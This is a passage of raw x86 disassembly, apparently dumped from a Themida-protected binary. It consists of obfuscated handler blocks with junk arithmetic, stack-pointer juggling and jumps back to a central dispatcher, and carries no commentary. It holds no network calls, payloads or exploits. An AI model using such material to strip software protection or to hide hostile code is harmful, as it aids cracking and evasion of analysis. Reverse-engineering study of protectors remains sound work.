loc_55320C:				; CODE XREF: Themida_:00555CA2j
		sub	ebp, 2BFC64B7h
		jmp	loc_55FAFB
; ---------------------------------------------------------------------------


loc_553217:				; CODE XREF: Themida_:00558609j
		add	eax, edi
		jmp	loc_56113D
; ---------------------------------------------------------------------------


loc_55321E:				; CODE XREF: Themida_:0055A852j
		pop	ecx
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		jmp	loc_553F88
; ---------------------------------------------------------------------------


loc_55322C:				; CODE XREF: Themida_:005522C2j
		mov	eax, 77F96C62h
		sub	eax, 1F94087Ch
		not	eax
		and	eax, 41992B0Ch
		inc	eax
		sub	eax, 0EDEB943Fh
		push	5A20h
		mov	[esp], eax
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_550871
; ---------------------------------------------------------------------------


loc_553259:				; CODE XREF: Themida_:00559291j
		mov	[esp], eax
		push	ebx
		jmp	loc_55F554
; ---------------------------------------------------------------------------


loc_553262:				; CODE XREF: Themida_:005571DCj
		sub	dl, 0E2h
		jmp	loc_5570C0
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_556D27
; ---------------------------------------------------------------------------


loc_553273:				; CODE XREF: Themida_:00553BB4j
		add	esp, 4
		add	eax, 4
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		mov	ebp, 7EE03835h
		not	ebp
		and	ebp, 1F52370Fh
		jmp	loc_559E54
; ---------------------------------------------------------------------------


loc_553294:				; CODE XREF: Themida_:00559DCAj
		sub	ecx, 1
		push	39C4h
		mov	[esp], ebp
		push	edx
		mov	edx, 0EF933ECh
		jmp	loc_55A045
; ---------------------------------------------------------------------------


loc_5532AD:				; CODE XREF: Themida_:005517D7j
		sub	eax, ebx
		pop	ebx
		sub	eax, 4D1D0E44h
		jmp	loc_564AE1
; ---------------------------------------------------------------------------


loc_5532BA:				; CODE XREF: Themida_:00561109j
		mov	ebx, 35F55DDFh
		push	ebx
		jmp	loc_55D977
; ---------------------------------------------------------------------------


loc_5532C5:				; CODE XREF: Themida_:00556AEFj
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	ebp, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5532DD:				; CODE XREF: Themida_:00552D8Ej
		xor	esi, edx
		pop	edx
		push	esi
		jmp	loc_55122B
; ---------------------------------------------------------------------------


loc_5532E6:				; CODE XREF: Themida_:0055F7BCj
		push	edi
		mov	edi, 1EAA2FC8h
		shr	edi, 4
		and	edi, 253241Fh
		and	edi, 48461C94h
		jmp	loc_5548CD
; ---------------------------------------------------------------------------


loc_553300:				; CODE XREF: Themida_:005629FFj
		pop	esp
		jmp	loc_56242F
; ---------------------------------------------------------------------------


loc_553306:				; CODE XREF: Themida_:005617A9j
		xor	ecx, [esp]
		jmp	loc_55C43C
; ---------------------------------------------------------------------------


loc_55330E:				; CODE XREF: Themida_:0055FC2Cj
		push	edx
		push	ecx
		mov	ecx, 743C1518h
		mov	edx, 743C151Ch
		xor	edx, ecx
		pop	ecx
		jmp	loc_5585F5
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_556E4D
; ---------------------------------------------------------------------------


loc_553336:				; CODE XREF: Themida_:00556C47j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_556EE7
; ---------------------------------------------------------------------------


loc_553344:				; CODE XREF: Themida_:00558612j
		add	bl, 4Dh
		xor	bl, 68h
		jmp	loc_5525B2
; ---------------------------------------------------------------------------


loc_55334F:				; CODE XREF: Themida_:005555F6j
		mov	ebx, 7D66C31h
		jmp	loc_5622D1
; ---------------------------------------------------------------------------


loc_553359:				; CODE XREF: Themida_:00564817j
		xor	bl, dl
		jmp	loc_5505DB
; ---------------------------------------------------------------------------


loc_553360:				; CODE XREF: Themida_:00556A74j
		push	edx
		mov	edx, 67B75155h
		or	edx, 4D341D29h
		add	edx, 8E551EAh
		and	edx, 0FAA2D3Dh
		add	edx, 5B9C4D5Dh
		add	edx, 0F5B9F312h
		mov	esi, edx
		pop	edx
		dec	esi
		push	edi
		sub	esp, 4
		jmp	loc_56294E
; ---------------------------------------------------------------------------


loc_553391:				; CODE XREF: Themida_:00558E10j
		or	bl, ch
		jmp	loc_5581F9
; ---------------------------------------------------------------------------


loc_553398:				; CODE XREF: Themida_:00552504j
		add	ebp, eax
		sub	ebp, 8096CAFh
		add	ebp, 1B33A08h
		mov	eax, [esp]
		add	esp, 4
		push	esi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_561116
; ---------------------------------------------------------------------------


loc_5533BE:				; CODE XREF: Themida_:0055A752j
		push	ebp
		push	esi
		jmp	loc_55DFA7
; ---------------------------------------------------------------------------
		lodsb
		push	dx
		mov	dl, 0E4h
		jmp	loc_551FAC
; ---------------------------------------------------------------------------


loc_5533CF:				; CODE XREF: Themida_:0055D77Cj
		sub	ebp, esi
		pop	esi
		add	ebp, 0C16ED8F1h
		jmp	loc_552386
; ---------------------------------------------------------------------------


loc_5533DD:				; CODE XREF: Themida_:0055BBE0j
		mov	[esp], edi
		mov	edi, 4
		sub	edx, edi
		jmp	loc_56464D
; ---------------------------------------------------------------------------


loc_5533EC:				; CODE XREF: Themida_:0055CE3Fj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_55DCE0
; ---------------------------------------------------------------------------


loc_5533FD:				; CODE XREF: Themida_:0055961Fj
		push	esi
		jmp	loc_55A1CA
; ---------------------------------------------------------------------------


loc_553403:				; CODE XREF: Themida_:00557E1Bj
		pop	bx
		add	bp, cx
		jmp	loc_553DA6
; ---------------------------------------------------------------------------


loc_55340D:				; CODE XREF: Themida_:005619ACj
		xchg	ebx, ecx
		dec	ebx
		xchg	ebx, ecx
		not	ecx
		jmp	loc_56026A
; ---------------------------------------------------------------------------


loc_553419:				; CODE XREF: Themida_:005553C8j
		pop	eax
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		push	27B5h
		jmp	loc_563432
; ---------------------------------------------------------------------------


loc_55342C:				; CODE XREF: Themida_:00561CB2j
		sub	edx, ebp
		pop	ebp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edx, [esp]
		add	esp, 4
		or	ecx, ecx
		jz	loc_552B14
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55A3CA
; ---------------------------------------------------------------------------


loc_55345E:				; CODE XREF: Themida_:0055D269j
		push	esi
		push	56781354h
		mov	esi, [esp]
		add	esp, 4
		xor	esi, 267C6AB8h
		mov	edx, esi
		pop	esi
		push	eax
		push	ebp
		jmp	loc_55E31A
; ---------------------------------------------------------------------------


loc_55347D:				; CODE XREF: Themida_:00550D01j
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_553487:				; CODE XREF: Themida_:00555DE7j
		add	bl, cl
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		push	eax
		jmp	loc_557B9C
; ---------------------------------------------------------------------------


loc_553495:				; CODE XREF: Themida_:0055A550j
		mov	edx, 1957F20h
		jmp	loc_55B83B
; ---------------------------------------------------------------------------


loc_55349F:				; CODE XREF: Themida_:00561163j
		mov	edx, 38A1685Ah
		jmp	loc_55982B
; ---------------------------------------------------------------------------


loc_5534A9:				; CODE XREF: Themida_:0055BBBAj
		mov	[esp], ebp
		mov	ebp, 2FBB3B09h
		jmp	loc_55E5E0
; ---------------------------------------------------------------------------


loc_5534B6:				; CODE XREF: Themida_:005634A1j
		pop	ebp
		jmp	loc_5587E2
; ---------------------------------------------------------------------------


loc_5534BC:				; CODE XREF: Themida_:0056553Aj
		pop	ecx
		jmp	loc_56259E
; ---------------------------------------------------------------------------


loc_5534C2:				; CODE XREF: Themida_:00562BB6j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5534C7:				; CODE XREF: Themida_:0055FCC6j
		xor	edx, ecx
		pop	ecx
		add	eax, edx
		jmp	loc_55B5C7
; ---------------------------------------------------------------------------


loc_5534D1:				; CODE XREF: Themida_:0055DBDBj
		sub	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	2A2Dh
		mov	[esp], esi
		mov	esi, 1FFE41C8h
		neg	esi
		add	esi, 442402BBh
		jmp	loc_5601AB
; ---------------------------------------------------------------------------


loc_5534F3:				; CODE XREF: Themida_:00559442j
		mov	eax, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 0FFh
		add	bh, 54h
		jmp	loc_55A746
; ---------------------------------------------------------------------------


loc_553512:				; CODE XREF: Themida_:0056072Bj
		add	esi, ecx
		jmp	loc_560CAD
; ---------------------------------------------------------------------------


loc_553519:				; CODE XREF: Themida_:00552A43j
		mov	edx, [esp]
		add	esp, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0B887661h
		sub	ebx, 58EC78F9h
		add	ebx, 0FD411DEh
		jmp	loc_55ED4C
; ---------------------------------------------------------------------------


loc_55354A:				; CODE XREF: Themida_:005522A9j
		mov	edx, 2D4A1045h
		or	ebp, edx
		pop	edx
		sub	ebp, 0B759BEA0h
		add	edi, ebp
		pop	ebp
		add	ecx, edi
		jmp	loc_557BC1
; ---------------------------------------------------------------------------


loc_553562:				; CODE XREF: Themida_:0055652Cj
		sub	eax, esi
		pop	esi
		sub	eax, 150A1E4Fh
		add	eax, edi
		jmp	loc_5634EB
; ---------------------------------------------------------------------------


loc_553571:				; CODE XREF: Themida_:00553F24j
		push	ebx
		mov	ebx, 4E1843B8h
		xor	esi, ebx
		pop	ebx
		dec	esi
		add	esi, 9AE17872h
		add	ebx, 404A7045h
		add	ebx, esi
		sub	ebx, 404A7045h
		jmp	loc_5583B5
; ---------------------------------------------------------------------------


loc_553594:				; CODE XREF: Themida_:00553BAAj
		add	esp, 2
		xor	dl, 0A6h
		shl	dl, 4
		dec	dl
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5586FD
; ---------------------------------------------------------------------------


loc_5535AD:				; CODE XREF: Themida_:0055FECFj
		mov	[esp], esi
		push	eax
		mov	eax, 7C33552Ah
		add	eax, 39635E02h
		push	esi
		mov	esi, 6A225EFCh
		shl	esi, 8
		neg	esi
		push	ebp
		jmp	loc_562EE1
; ---------------------------------------------------------------------------


loc_5535CC:				; CODE XREF: Themida_:00565BC5j
		push	ecx
		jmp	loc_550BED
; ---------------------------------------------------------------------------


loc_5535D2:				; CODE XREF: Themida_:0055B2C1j
		mov	eax, 4
		add	edi, 357E4BC8h
		add	edi, eax
		jmp	loc_55552C
; ---------------------------------------------------------------------------


loc_5535E4:				; CODE XREF: Themida_:0056299Ej
		mov	eax, 4
		sub	edx, 6E3C4A97h
		add	edx, eax
		jmp	loc_557997
; ---------------------------------------------------------------------------


loc_5535F6:				; CODE XREF: Themida_:0055B324j
		push	edx
		mov	edx, 1E34002Eh
		xor	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55BA62
; ---------------------------------------------------------------------------


loc_553613:				; CODE XREF: Themida_:00552710j
		mov	ecx, 0A6C5BA0h
		xor	edi, ecx
		jmp	loc_55BD02
; ---------------------------------------------------------------------------


loc_55361F:				; CODE XREF: Themida_:00559A6Fj
		push	ecx
		mov	ecx, 72974DCEh
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_551CE2
; ---------------------------------------------------------------------------


loc_553632:				; CODE XREF: Themida_:00565111j
		add	esp, 4
		xchg	edi, [esp]
		jmp	loc_55A4E1
; ---------------------------------------------------------------------------


loc_55363D:				; CODE XREF: Themida_:005517E4j
		push	2FF1h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_55B93F
; ---------------------------------------------------------------------------


loc_553658:				; CODE XREF: Themida_:0056343Dj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	[esp], al
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_553677:				; CODE XREF: Themida_:005625A6j
		mov	ecx, [esp]
		add	esp, 4
		mov	ah, dl
		jmp	loc_56441C
; ---------------------------------------------------------------------------


loc_553684:				; CODE XREF: Themida_:00565AD6j
		pop	ebx
		push	edx
		mov	edx, 4
		add	ebx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		add	ebp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_564EE3
; ---------------------------------------------------------------------------


loc_5536C7:				; CODE XREF: Themida_:005593CCj
		push	esi
		mov	esi, 7EE267E7h
		sub	esi, 52264B5h
		sub	esi, 2F3E3618h
		add	esi, 2D7DF49Bh
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_565AB0
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	1870h
		mov	[esp], edx
		mov	edx, esp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_563581
; ---------------------------------------------------------------------------


loc_55370B:				; CODE XREF: Themida_:0055F03Fj
		not	dword ptr [esp]
		pop	ebp
		add	ebp, 1
		jmp	loc_564D5A
; ---------------------------------------------------------------------------


loc_55371A:				; CODE XREF: Themida_:005581B9j
		push	esp
		jmp	loc_55F640
; ---------------------------------------------------------------------------


loc_553720:				; CODE XREF: Themida_:00557410j
		add	ecx, 178F1B37h
		sub	ecx, 3954C983h
		add	edx, 3ECA624Ah
		sub	edx, ecx
		sub	edx, 3ECA624Ah
		mov	ecx, [esp]
		push	ecx
		push	esp
		jmp	loc_56426E
; ---------------------------------------------------------------------------


loc_553744:				; CODE XREF: Themida_:0055C9A4j
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, 48CD5428h
		add	ecx, esi
		pop	esi
		or	ecx, 51DE0D2Fh
		jmp	loc_55A355
; ---------------------------------------------------------------------------


loc_55375D:				; CODE XREF: Themida_:00564A5Ej
		sub	eax, ebp
		sub	eax, 5FEC3B6Eh
		pop	ebp
		xor	ebx, eax
		push	ebx
		push	42F7h
		mov	[esp], esp
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		jmp	loc_555720
; ---------------------------------------------------------------------------


loc_553783:				; CODE XREF: Themida_:00551D15j
		pop	ebp
		add	ecx, eax
		jmp	loc_561DF9
; ---------------------------------------------------------------------------


loc_55378B:				; CODE XREF: Themida_:00562943j
		push	ebp
		mov	ebp, 1BE01C33h
		mov	edi, ebp
		pop	ebp
		add	esi, 2207677Ah
		add	esi, edi
		sub	esi, 2207677Ah
		pop	edi
		jmp	loc_564B67
; ---------------------------------------------------------------------------


loc_5537A8:				; CODE XREF: Themida_:00564417j
		and	dh, 0A7h
		xor	dh, 2
		jmp	loc_55985E
; ---------------------------------------------------------------------------


loc_5537B3:				; CODE XREF: Themida_:00559D7Dj
		push	15BBh
		mov	[esp], ecx
		mov	ecx, 72340BB6h
		shl	ecx, 8
		inc	ecx
		jmp	loc_5520DF
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_558A22
; ---------------------------------------------------------------------------


loc_5537D7:				; CODE XREF: Themida_:00565848j
		sub	ebx, 369C1E21h
		sub	ebx, edx
		add	ebx, 369C1E21h
		pop	edx
		mov	ecx, [esp]
		jmp	loc_5512FE
; ---------------------------------------------------------------------------


loc_5537EE:				; CODE XREF: Themida_:005514B5j
		shl	ebp, 8
		xor	ebp, 141C7FE8h
		jmp	loc_557A42
; ---------------------------------------------------------------------------


loc_5537FC:				; CODE XREF: Themida_:00550540j
		mov	bh, al
		jmp	loc_565069
; ---------------------------------------------------------------------------


loc_553803:				; CODE XREF: Themida_:0055A548j
		add	dword ptr [esp], 316E4D15h
		add	[esp], eax
		jmp	loc_5504D3
; ---------------------------------------------------------------------------


loc_553812:				; CODE XREF: Themida_:0055CBE3j
		inc	ah
		add	ah, 0E5h
		xor	dl, ah
		pop	eax
		jmp	loc_558337
; ---------------------------------------------------------------------------


loc_55381F:				; CODE XREF: Themida_:00559AA9j
		mov	bl, 29h
		add	ah, bl
		pop	bx
		mov	dl, ah
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_557549
; ---------------------------------------------------------------------------


loc_553832:				; CODE XREF: Themida_:00562874j
		mov	ebx, [esp]
		add	esp, 4
		pop	edx
		sub	[edi+24h], ebx
		mov	ebx, [esp]
		add	esp, 4


loc_553845:				; CODE XREF: Themida_:0055C8EFj
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebp
		mov	ebp, 4
		sub	esi, ebp
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_55F219
; ---------------------------------------------------------------------------


loc_553869:				; CODE XREF: Themida_:0055A80Ej
		sub	eax, 6CD319C6h
		sub	esp, 4
		mov	[esp], edx
		pop	dword ptr [eax]
		mov	eax, [esp]
		push	edi
		jmp	loc_565204
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_551329
; ---------------------------------------------------------------------------


loc_553885:				; CODE XREF: Themida_:005566A1j
		push	ecx
		jmp	loc_55B25F
; ---------------------------------------------------------------------------


loc_55388B:				; CODE XREF: Themida_:0055E0E3j
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ebx, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 679941F8h
		push	ebx
		jmp	loc_55F9EF
; ---------------------------------------------------------------------------


loc_5538B0:				; CODE XREF: Themida_:0055CBBDj
		pop	eax
		or	edx, esi
		pop	esi
		or	edx, 38F34114h
		push	esi
		mov	esi, 2D55227Bh
		add	edx, esi
		pop	esi
		add	edx, 57D60239h
		xor	edx, 52A9430h
		mov	esi, edx
		pop	edx
		and	ecx, esi
		pop	esi
		shr	ecx, 0
		or	eax, eax
		jz	loc_55070E
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		jmp	loc_55678A
; ---------------------------------------------------------------------------


loc_5538F6:				; CODE XREF: Themida_:00557767j
		push	dword ptr [esp]
		pop	esi
		jmp	loc_55D652
; ---------------------------------------------------------------------------


loc_5538FF:				; CODE XREF: Themida_:00551933j
		add	esp, 4
		pop	ecx
		add	al, dl
		jmp	loc_55DC1C
; ---------------------------------------------------------------------------


loc_55390A:				; CODE XREF: Themida_:0055E11Dj
		mov	edx, 0BC26425h
		sub	edx, 28D85675h
		jmp	loc_55EAF2
; ---------------------------------------------------------------------------


loc_55391A:				; CODE XREF: Themida_:0055FD85j
		xor	edi, [esp]
		mov	esp, [esp]
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		add	edx, 41514422h
		jmp	loc_5588D9
; ---------------------------------------------------------------------------


loc_553933:				; CODE XREF: Themida_:005625B4j
		pop	eax
		not	eax
		xchg	eax, ebx
		jmp	loc_55FA92
; ---------------------------------------------------------------------------


loc_55393C:				; CODE XREF: Themida_:00562675j
		and	edi, 18DF1ADBh
		add	edi, 0B99448C8h
		xor	edx, edi
		pop	edi
		add	eax, edx
		pop	edx
		sub	eax, 1E883221h
		add	eax, edi
		add	eax, 1E883221h
		push	esi
		mov	esi, 11EB7139h
		push	ebp
		mov	ebp, 50165D32h
		jmp	loc_559356
; ---------------------------------------------------------------------------


loc_55396B:				; CODE XREF: Themida_:0055C79Fj
		xor	ebp, 57215165h
		mov	edi, ebp
		pop	ebp
		jmp	loc_55DBD0
; ---------------------------------------------------------------------------


loc_553979:				; CODE XREF: Themida_:0055F749j
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_562CC4
; ---------------------------------------------------------------------------


loc_553988:				; CODE XREF: Themida_:0055D701j
		mov	al, bh
		pop	ebx
		push	edx
		mov	dh, al
		mov	bl, dh
		pop	edx
		pop	eax
		mov	al, bl
		jmp	loc_558FB1
; ---------------------------------------------------------------------------


loc_553999:				; CODE XREF: Themida_:00550B64j
		add	edi, 11282567h
		pop	edx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_55D23B
; ---------------------------------------------------------------------------


loc_5539B1:				; CODE XREF: Themida_:00558F70j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 4
		sub	edx, ebp
		jmp	loc_563640
; ---------------------------------------------------------------------------


loc_5539E4:				; CODE XREF: Themida_:0055796Cj
		mov	edx, 88CD881Dh
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_560854
; ---------------------------------------------------------------------------


loc_5539F9:				; CODE XREF: Themida_:00552AF3j
		pop	edi
		push	6B15h
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	al, 17h
		sub	al, bl
		add	al, 17h
		mov	bx, [esp]
		add	esp, 2
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_559D47
; ---------------------------------------------------------------------------


loc_553A2B:				; CODE XREF: Themida_:00563BF8j
		shl	edx, 7
		shr	edx, 1
		not	edx
		dec	edx
		jmp	loc_5648B6
; ---------------------------------------------------------------------------


loc_553A38:				; CODE XREF: Themida_:0055BB52j
		sub	ebx, 4F2A2FE6h
		pop	esi
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_55D1E2
; ---------------------------------------------------------------------------


loc_553A50:				; CODE XREF: Themida_:00565A5Aj
		pop	ebx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	3F61h
		jmp	loc_559FE8
; ---------------------------------------------------------------------------


loc_553A62:				; CODE XREF: Themida_:00559826j
		xor	ebp, ecx
		xor	ecx, ebp
		xor	ebp, ecx
		xchg	ebp, ecx
		xor	ebp, ecx
		xor	ecx, ebp
		xor	ebp, ecx
		xchg	ebx, ecx
		not	ebx
		xchg	ebx, ecx
		xchg	ecx, ebp
		xchg	ebp, ecx
		jmp	loc_552C1C
; ---------------------------------------------------------------------------


loc_553A7F:				; CODE XREF: Themida_:0055C0E9j
		not	edx
		xchg	edx, ebx
		jmp	loc_5579E4
; ---------------------------------------------------------------------------


loc_553A88:				; CODE XREF: Themida_:0055BB34j
		sub	dh, 2Dh
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_553DB9
; ---------------------------------------------------------------------------


loc_553A9A:				; CODE XREF: Themida_:00556A93j
		or	edx, 22A71C49h
		sub	edx, 0FA2837EBh
		add	edi, edx
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		push	edx
		push	321Fh
		mov	[esp], eax
		push	edi
		jmp	loc_5560BD
; ---------------------------------------------------------------------------


loc_553ABE:				; CODE XREF: Themida_:00552068j
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		add	ecx, 4
		jmp	loc_56439A
; ---------------------------------------------------------------------------


loc_553ADB:				; CODE XREF: Themida_:0055BAFCj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56160A
; ---------------------------------------------------------------------------


loc_553AE8:				; CODE XREF: Themida_:00556932j
		push	edx
		jmp	loc_552A48
; ---------------------------------------------------------------------------


loc_553AEE:				; CODE XREF: Themida_:00554C9Dj
		sub	bl, 0DCh
		jmp	loc_551C1E
; ---------------------------------------------------------------------------


loc_553AF6:				; CODE XREF: Themida_:00561B5Fj
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_56267A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_55B795
; ---------------------------------------------------------------------------


loc_553B13:				; CODE XREF: Themida_:00558721j
		add	esi, ecx
		pop	ecx
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		sub	edx, 2
		jmp	loc_559EC9
; ---------------------------------------------------------------------------


loc_553B2B:				; CODE XREF: Themida_:0055F82Ej
		mov	ebx, 740B5117h
		push	2Dh
		jmp	loc_55D9E8
; ---------------------------------------------------------------------------


loc_553B3A:				; CODE XREF: Themida_:00559143j
		pop	eax
		xor	edx, [esp]
		jmp	loc_551668
; ---------------------------------------------------------------------------


loc_553B43:				; CODE XREF: Themida_:005520ADj
		add	al, bl
		add	al, 2Eh
		push	small 4228h
		mov	[esp], dx
		push	6F90h
		jmp	loc_55B749
; ---------------------------------------------------------------------------


loc_553B59:				; CODE XREF: Themida_:00557951j
		inc	bh
		sub	bh, 49h
		add	al, bh
		pop	ebx
		add	al, dh
		sub	al, 0F8h
		pop	dx
		sub	al, bh
		push	0FEDh
		mov	[esp], edx
		mov	dl, 27h
		shl	dl, 8
		shr	dl, 3
		push	eax
		jmp	loc_5620E4
; ---------------------------------------------------------------------------


loc_553B7F:				; CODE XREF: Themida_:00558CF9j
		add	esp, 4
		push	76Ch
		mov	[esp], ecx
		push	eax
		push	18DC4868h
		pop	eax
		add	eax, 168E3494h
		mov	ecx, eax
		pop	eax
		jmp	loc_551C7F
; ---------------------------------------------------------------------------


loc_553B9E:				; CODE XREF: Themida_:00550BF1j
		mov	ecx, [esp]
		add	esp, 4
		mov	dl, ah
		mov	ax, [esp]
		jmp	loc_553594
; ---------------------------------------------------------------------------


loc_553BAF:				; CODE XREF: Themida_:0055AD13j
		push	eax
		push	esp
		mov	eax, [esp]
		jmp	loc_553273
; ---------------------------------------------------------------------------


loc_553BB9:				; CODE XREF: Themida_:0055B056j
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5641A4
; ---------------------------------------------------------------------------


loc_553BD0:				; CODE XREF: Themida_:005507E2j
		pop	edx
		push	ecx
		mov	cl, 0A1h
		xor	cl, 0F5h
		jmp	loc_554B27
; ---------------------------------------------------------------------------


loc_553BDC:				; CODE XREF: Themida_:0055FB68j
		push	ebp
		mov	ebp, 339A3A6Fh
		jmp	loc_552C0C
; ---------------------------------------------------------------------------


loc_553BE7:				; CODE XREF: Themida_:005622AEj
		jz	loc_55469E
		push	3784h
		mov	[esp], ebx
		jmp	loc_55201C
; ---------------------------------------------------------------------------


loc_553BFA:				; CODE XREF: Themida_:0055F8A0j
		add	ecx, 799655FDh
		jmp	loc_558A28
; ---------------------------------------------------------------------------


loc_553C05:				; CODE XREF: Themida_:0055A741j
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		dec	word ptr [esp]
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_553C14:				; CODE XREF: Themida_:0055C134j
		shl	eax, 1
		push	esi
		mov	esi, 613CFC02h
		jmp	loc_55D898
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_553C29:				; CODE XREF: Themida_:00564524j
		mov	esp, [esp]
		mov	[esp], ecx
		push	ebx
		mov	ebx, 1Ch
		mov	ecx, ebx
		jmp	loc_55FBD7
; ---------------------------------------------------------------------------


loc_553C3C:				; CODE XREF: Themida_:00557522j
		add	ebx, 4
		push	665Ah
		jmp	loc_5625AB
; ---------------------------------------------------------------------------


loc_553C4C:				; CODE XREF: Themida_:0055CE61j
		add	eax, 2
		xchg	eax, [esp]
		pop	esp
		mov	ax, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		mov	edx, 4
		mov	ebp, edx
		pop	edx
		sub	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_560FA3
; ---------------------------------------------------------------------------


loc_553C83:				; CODE XREF: Themida_:0055EA08j
		mov	esp, [esp]
		shl	edi, 8
		jmp	loc_555592
; ---------------------------------------------------------------------------


loc_553C8E:				; CODE XREF: Themida_:00564751j
		pop	edi
		jmp	loc_551938
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		push	eax
		push	esp
		pop	eax
		push	5549h
		mov	[esp], ecx
		mov	ecx, 228F79E0h
		push	ebp
		mov	ebp, 612F201Eh
		inc	ebp
		push	eax
		mov	eax, 1EC31C7Eh
		add	ebp, eax
		pop	eax
		or	ebp, 243F583Eh
		add	ebp, 7AC127CCh
		sub	ebp, 0EB0B6AE3h
		or	ecx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 0A742D3h
		add	ebx, 1A382378h
		shr	ebx, 2
		jmp	loc_5627A3
; ---------------------------------------------------------------------------


loc_553CE1:				; CODE XREF: Themida_:005525A4j
		add	esi, 2
		xchg	esi, [esp]
		pop	esp
		test	cl, al
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_553CF0:				; CODE XREF: Themida_:00565CC2j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
